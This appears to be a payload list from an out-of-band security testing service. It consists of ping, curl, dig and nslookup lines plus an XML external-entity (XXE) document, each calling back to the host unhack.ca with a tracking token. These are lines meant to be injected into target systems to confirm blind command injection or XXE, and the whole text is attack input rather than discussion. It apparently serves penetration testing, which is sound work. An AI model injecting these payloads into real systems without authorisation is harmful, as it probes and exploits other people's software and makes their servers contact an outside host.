$ ping -c1 -p 0069845dc649ced4441fa3379dd4fd00 unhack.ca
$ curl http://unhack.ca/p/69845dc649ced4441fa3379dd4fd
$ dig 69845dc649ced4441fa3379dd4fd @unhack.ca
$ dig 69845dc649ced4441fa3379dd4fd.ns.unhack.ca
C:\> nslookup 69845dc649ced4441fa3379dd4fd unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/69845dc649ced4441fa3379dd4fd">]> <foo>&xxe;</foo>